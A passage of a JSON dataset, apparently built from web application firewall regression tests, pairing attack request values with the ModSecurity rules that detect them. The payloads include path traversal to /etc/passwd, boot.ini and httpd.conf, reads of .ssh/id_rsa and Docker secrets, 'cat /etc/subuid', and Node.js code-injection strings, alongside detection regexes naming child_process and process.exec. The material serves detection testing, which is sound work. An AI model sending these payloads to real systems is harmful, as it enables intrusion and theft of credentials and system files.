"urlDecodeUni", "removeNulls", "cmdLine" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930110", "test_description": "Path Traversal Attack (..\\) file upload" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=..;.\\.;\\." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_URI_RAW", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": true }, { "name": "FILES", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:(?:^|[\\x5c/;])\\.{2,3}[\\x5c/;]|[\\x5c/;]\\.{2,3}[\\x5c/;])", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls", "cmdLine" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930110", "test_description": "Path Traversal Attack (;..;) query string" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "file=News&op=../../../../../boot.ini%00" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "Remote File Access Attempt (930120) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "file=News&op=/etc/passwd%00" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "Remote File Access Attempt (930120) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "file=News&op=../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf%00" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "Remote File Access Attempt (930120) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=arg&path_comp=.ssh/id_rsa" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "OS File Access" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "/sys/class=test" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "LFI via parameter name: /sys" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=/sys/class" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "LFI via parameter value: /sys" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=cat+%2Fetc%2Fsubuid" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "LFI via parameter value: /etc/subuid" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=cat+%2Fetc%2Fsubuid-" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "LFI via parameter value: /etc/subuid-" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=>/tmp/curl" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "YM9WT5NU\nDisallow writing files to /tmp/\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=>/tmp" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "YM9WT5NU\nFalse positive test\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=>/test.environment" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "False positive test.\nDon't match `.env`\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=firstname.dockery@host.tld" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "False positive test.\nDon't match .dockery in email address (matching .docker)\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=/path/to/.docker/secrets" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "True positive test.\nAccessing hidden folder .docker\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=backup.sql.zip" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "lfi-os-files.data", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "normalizePathWin" ], "attack_type": [ "attack-lfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "930120", "test_description": "True positive test.\nAccessing compressed database dump\n" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "scanners-user-agents.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-reputation-scanner" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "913100", "test_description": "Request Indicates a Security Scanner Scanned the Site (913100) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "mozilla/5.0 ecairn-grabber/1.0 (+http://ecairn.com/grabber)" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "scanners-user-agents.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-reputation-scanner" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "913100", "test_description": "eCairn allow list" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=_%24%24ND_FUNC%24%24_" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=__js_function" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=eval%28String.fromCharCode" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=function%28%29+%7B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=new+Function+%28" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", "removeWhitespace" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934100", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=this.constructor.constructor" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "_(?:\\$\\$ND_FUNC\\$\\$_|_js_function)|(?:\\beval|new[\\s\\x0b]+Function[\\s\\x0b]*)\\(|String\\.fromCharCode|function\\(\\)\\{|this\\.constructor|module\\.exports=|\\([\\s\\x0b]*[^0-9A-Z_a-z]child_process[^0-9A-Z_a-z][\\s\\x0b]*\\)|process(?:\\.(?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?(?:\\.call)?\\(|binding|constructor|env|global|main(?:Module)?|process|require)|\\[[\\\"'`](?:(?:a(?:ccess|ppendfile|rgv|vailability)|c(?:aveats|h(?:mod|own)|(?:los|opyfil)e|p|reate(?:read|write)stream)|ex(?:ec(?:file)?|ists)|f(?:ch(?:mod|own)|data(?:sync)?|s(?:tat|ync)|utimes)|inodes|l(?:chmod|ink|stat|utimes)|mkd(?:ir|temp)|open(?:dir)?|r(?:e(?:ad(?:dir|file|link|v)?|name)|m)|s(?:pawn(?:file)?|tat|ymlink)|truncate|u(?:n(?:link|watchfile)|times)|w(?:atchfile|rite(?:file|v)?))(?:sync)?|binding|constructor|env|global|main(?:Module)?|process|require)[\\\"'`]\\])|(?:binding|constructor|env|global|main(?:Module)?|process|require)\\[|console(?:\\.(?:debug|error|info|trace|warn)(?:\\.call)?\\(|\\[[\\\"'`](?:debug|error|info|trace|warn)[\\\"'`]\\])|require(?:\\.(?:resolve(?:\\.call)?\\(|main|extensions|cache)|\\[[\\\"'`](?:(?:resolv|cach)e|main|extensions)[\\\"'`]\\])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "removeWhitespace", "base64Decode", "urlDecodeUni", "jsDecode", 